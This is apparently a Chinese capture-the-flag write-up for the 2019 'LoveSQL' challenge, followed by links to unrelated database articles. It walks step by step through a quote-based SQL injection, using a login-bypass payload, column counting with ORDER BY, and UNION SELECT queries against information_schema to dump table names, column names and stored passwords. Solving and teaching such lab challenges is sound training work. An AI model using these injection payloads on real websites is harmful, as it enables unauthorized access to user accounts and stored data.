sql注入 [极客大挑战 2019]LoveSQL 1

打开题目

几次尝试,发现输1 1",页面都会回显NO,Wrong username password!!!

只有输入1',页面报错,说明是单引号的字符型注入

那我们万能密码试试能不能登录

1' or 1=1 #

成功登录

得到账号和密码

我们登录一下发现什么也没有

爆破列名字段数

1' order by 4 # 页面报错

但是1' order by 3 #时

页面没有报错,说明列名字段数为3

爆破数据显示位

1' union select 1,2,3 #

可以得到数据显示位为2和3

接着我们爆破数据库名

1' union select 1,2,database() #

得到数据库名为geek

爆破表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

当前数据库下的所有表名有

爆破列名

在这里我们先试试l0ve1ysq1表

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

得到其表下有三个字段

我们直接爆破password字段试试下面有没有flag

1' union select 1,2,group_concat(password) from l0ve1ysq1 #

得到数据

直接查看源代码得到flag

相关推荐
l1t4 分钟前
DeepSeek总结的有符号、无符号、未对齐:从汇编到 SQL 的教训
汇编·数据库·sql
夜雪一千10 分钟前
MySQL 如何提高查询速度:从索引、SQL、表结构到实战调优
android·sql·mysql
麦壳饼20 分钟前
SonnetDB SQL Cookbook:常用查询模式速查
数据库·sonnetdb
for_ever_love__1 小时前
LangChain Text-to-SQL:让不会写 SQL 的人查数据库
数据库·sql·langchain·大模型·agent·rag·问答
梦想不只是梦与想1 小时前
SQLAlchemy:查询与操作 (三)
数据库·python·sqlalchemy
Aric_Jones1 小时前
WAL / CDC / 复制槽 /位点
数据库·oracle
草莓熊Lotso2 小时前
【C++ 基于微服务的即时通讯系统】基建三件套:gflags + gtest + spdlog 源码编译安装与实战入门
linux·网络·数据库·c++·微服务·log4j
bksczm2 小时前
Redis基础篇之初识分布式
数据库·redis·分布式
for_ever_love__2 小时前
MySQL 索引类型全解:B+Tree / Hash / R-Tree / 全文 的底层差异,以及一次性建对的选型表
数据库·mysql·b+树·唯一索引·全文索引·索引类型·索引分类
仍然.10 小时前
Redis---缓存
数据库·redis·缓存